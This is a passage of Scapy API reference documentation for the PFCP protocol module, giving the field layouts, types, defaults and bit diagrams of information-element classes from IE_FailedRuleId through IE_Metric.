+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|SPARE|   TYPE  |             PDR ID            |     FAR ID    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |     QER ID    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |     URR ID    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |     BAR ID    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. IE_FailedRuleId                       


IE_FailedRuleId fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (3 bits)

	0



	type

	BitEnumField

	0



	pdr_id

	ShortField (Cond)

	0



	far_id

	IntField (Cond)

	0



	qer_id

	IntField (Cond)

	0



	urr_id

	IntField (Cond)

	0



	bar_id

	ByteField (Cond)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 114

	








	
class scapy.contrib.pfcp.IE_FlowInformation(_pkt, /, *, ietype=0, length=None, spare=0, direction=0, flow_length=None, flow=b'', extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1536-L1545]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SPARE  |DIREC|          FLOW LENGTH          |      FLOW     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. IE_FlowInformation                      


IE_FlowInformation fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (5 bits)

	0



	direction

	BitEnumField

	0



	flow_length

	FieldLenField

	None



	flow

	StrLenField

	b''



	extra_data

	ExtraDataField

	b''











	
ie_type = 92

	








	
class scapy.contrib.pfcp.IE_ForwardingParameters(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L521-L523]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. IE_ForwardingParameters                   


IE_ForwardingParameters fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 4

	








	
class scapy.contrib.pfcp.IE_ForwardingPolicy(_pkt, /, *, ietype=0, length=None, policy_identifier_length=None, policy_identifier=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L983-L991]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|POLICY IDENTIFI|       POLICY IDENTIFIER       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. IE_ForwardingPolicy                     


IE_ForwardingPolicy fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	policy_identifier_length

	FieldLenField

	None



	policy_identifier

	StrLenField

	b''











	
ie_type = 41

	








	
class scapy.contrib.pfcp.IE_FqCSID(_pkt, /, *, ietype=0, length=None, node_id_type=0, num_csids=None, ipv4=0, ipv6=0, mcc_mnc=0, extra_id=0, csids=[], extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1313-L1335]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|NODE ID|NUM CSI|                      IPV4                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      IPV6                     |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                MCC MNC                |EXTRA I|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |             CSIDS             |   EXTRA DATA  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. IE_FqCSID                          


IE_FqCSID fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	node_id_type

	BitEnumField

	0



	num_csids

	BitFieldLenField  (4 bits)

	None



	ipv4

	IPField (Cond)

	0



	ipv6

	IP6Field (Cond)

	0



	mcc_mnc

	BitField (Cond) (20 bits)

	0



	extra_id

	BitField (Cond) (12 bits)

	0



	csids

	FieldListField

	[]



	extra_data

	ExtraDataField

	b''











	
ie_type = 65

	








	
class scapy.contrib.pfcp.IE_FramedIPv6Route(_pkt, /, *, ietype=0, length=None, framed_ipv6_route=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2203-L2208]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       FRAMED IPV6 ROUTE       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. IE_FramedIPv6Route                      


IE_FramedIPv6Route fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	framed_ipv6_route

	StrLenField

	b''











	
ie_type = 155

	








	
class scapy.contrib.pfcp.IE_FramedRoute(_pkt, /, *, ietype=0, length=None, framed_route=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2187-L2192]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          FRAMED ROUTE         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. IE_FramedRoute                        


IE_FramedRoute fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	framed_route

	StrLenField

	b''











	
ie_type = 153

	








	
class scapy.contrib.pfcp.IE_FramedRouting(_pkt, /, *, ietype=0, length=None, framed_routing=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2195-L2200]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         FRAMED ROUTING        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. IE_FramedRouting                       


IE_FramedRouting fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	framed_routing

	StrLenField

	b''











	
ie_type = 154

	








	
class scapy.contrib.pfcp.IE_GBR(_pkt, /, *, ietype=0, length=None, ul=0, dl=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L823-L830]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               UL                              |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                       DL                      |
+-+-+-+-+-+-+-+-+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. IE_GBR                            


IE_GBR fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	ul

	Int40Field

	0



	dl

	Int40Field

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 27

	








	
class scapy.contrib.pfcp.IE_GateStatus(_pkt, /, *, ietype=0, length=None, spare=0, ul=0, dl=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L802-L810]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| SPARE | UL| DL|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IE_GateStatus                        


IE_GateStatus fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (4 bits)

	0



	ul

	BitEnumField

	0



	dl

	BitEnumField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 25

	








	
class scapy.contrib.pfcp.IE_GracefulReleasePeriod(_pkt, /, *, ietype=0, length=None, release_timer_unit=0, release_timer_value=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1751-L1758]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RELEA|RELEASE T|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. IE_GracefulReleasePeriod                   


IE_GracefulReleasePeriod fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	release_timer_unit

	BitEnumField

	0



	release_timer_value

	BitField  (5 bits)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 112

	








	
class scapy.contrib.pfcp.IE_HeaderEnrichment(_pkt, /, *, ietype=0, length=None, spare=0, header_type=0, name_length=None, name='IE Header Enrichment', value_length=None, value=b'', extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1622-L1633]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|SPARE|HEADER TY|  NAME LENGTH  |              NAME             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  VALUE LENGTH |             VALUE             |   EXTRA DATA  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                     Fig. IE_HeaderEnrichment                     


IE_HeaderEnrichment fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (3 bits)

	0



	header_type

	BitEnumField

	0



	name_length

	FieldLenField

	None



	name

	StrLenField

	'IE Header Enrichment'



	value_length

	FieldLenField

	None



	value

	StrLenField

	b''



	extra_data

	ExtraDataField

	b''











	
ie_type = 98

	








	
class scapy.contrib.pfcp.IE_InactivityDetectionTime(_pkt, /, *, ietype=0, length=None, time_value=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L918-L924]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TIME VALUE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. IE_InactivityDetectionTime                  


IE_InactivityDetectionTime fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	time_value

	IntField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 36

	








	
class scapy.contrib.pfcp.IE_LinkedURR_Id(_pkt, /, *, ietype=0, length=None, id=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1455-L1461]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. IE_LinkedURR_Id                       


IE_LinkedURR_Id fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	id

	IntField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 82

	








	
class scapy.contrib.pfcp.IE_LoadControlInformation(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L596-L598]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. IE_LoadControlInformation                  


IE_LoadControlInformation fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 51

	








	
class scapy.contrib.pfcp.IE_MACAddress(_pkt, /, *, ietype=0, length=None, spare=0, UDES=0, USOU=0, DEST=0, SOUR=0, source_mac=0, destination_mac=0, upper_source_mac=0, upper_destination_mac=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1928-L1946]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| SPARE |U|U|D|S|                   SOURCE MAC                  |
+-+-+-+-+-+-+-+-+                               +-+-+-+-+-+-+-+-+
|                                               |DESTINATION MAC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                UPPER SOURCE MAC               |
+-+-+-+-+-+-+-+-+                               +-+-+-+-+-+-+-+-+
|                                               |UPPER DESTINATI|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IE_MACAddress                        


IE_MACAddress fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (4 bits)

	0



	UDES

	BitField  (1 bit)

	0



	USOU

	BitField  (1 bit)

	0



	DEST

	BitField  (1 bit)

	0



	SOUR

	BitField  (1 bit)

	0



	source_mac

	MACField (Cond)

	0



	destination_mac

	MACField (Cond)

	0



	upper_source_mac

	MACField (Cond)

	0



	upper_destination_mac

	MACField (Cond)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 133

	








	
class scapy.contrib.pfcp.IE_MACAddressesDetected(_pkt, /, *, ietype=0, length=None, num_macs=None, macs=[], extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2090-L2098]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    NUM MACS   |              MACS             |   EXTRA DATA  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                   Fig. IE_MACAddressesDetected                   


IE_MACAddressesDetected fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	num_macs

	FieldLenField

	None



	macs

	FieldListField

	[]



	extra_data

	ExtraDataField

	b''











	
ie_type = 144

	








	
class scapy.contrib.pfcp.IE_MACAddressesRemoved(_pkt, /, *, ietype=0, length=None, num_macs=None, macs=[], extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2101-L2109]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    NUM MACS   |              MACS             |   EXTRA DATA  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                   Fig. IE_MACAddressesRemoved                    


IE_MACAddressesRemoved fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	num_macs

	FieldLenField

	None



	macs

	FieldListField

	[]



	extra_data

	ExtraDataField

	b''











	
ie_type = 145

	








	
class scapy.contrib.pfcp.IE_MBR(_pkt, /, *, ietype=0, length=None, ul=0, dl=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L813-L820]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               UL                              |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                       DL                      |
+-+-+-+-+-+-+-+-+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. IE_MBR                            


IE_MBR fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	ul

	Int40Field

	0



	dl

	Int40Field

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 26

	








	
class scapy.contrib.pfcp.IE_MeasurementInformation(_pkt, /, *, ietype=0, length=None, spare=0, MNOP=0, ISTM=0, RADI=0, INAM=0, MBQE=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1636-L1647]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|SPARE|M|I|R|I|M|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. IE_MeasurementInformation                  


IE_MeasurementInformation fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (3 bits)

	0



	MNOP

	BitField  (1 bit)

	0



	ISTM

	BitField  (1 bit)

	0



	RADI

	BitField  (1 bit)

	0



	INAM

	BitField  (1 bit)

	0



	MBQE

	BitField  (1 bit)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 100

	








	
class scapy.contrib.pfcp.IE_MeasurementMethod(_pkt, /, *, ietype=0, length=None, spare=0, EVENT=0, VOLUM=0, DURAT=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1268-L1277]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SPARE  |E|V|D|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. IE_MeasurementMethod                     


IE_MeasurementMethod fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (5 bits)

	0



	EVENT

	BitField  (1 bit)

	0



	VOLUM

	BitField  (1 bit)

	0



	DURAT

	BitField  (1 bit)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 62

	








	
class scapy.contrib.pfcp.IE_MeasurementPeriod(_pkt, /, *, ietype=0, length=None, period=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1304-L1310]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             PERIOD                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. IE_MeasurementPeriod                     


IE_MeasurementPeriod fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	period

	IntField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 64

	








	
class scapy.contrib.pfcp.IE_Metric(_pkt, /, *, ietype=0, length=None, metric=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1140-L1145]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
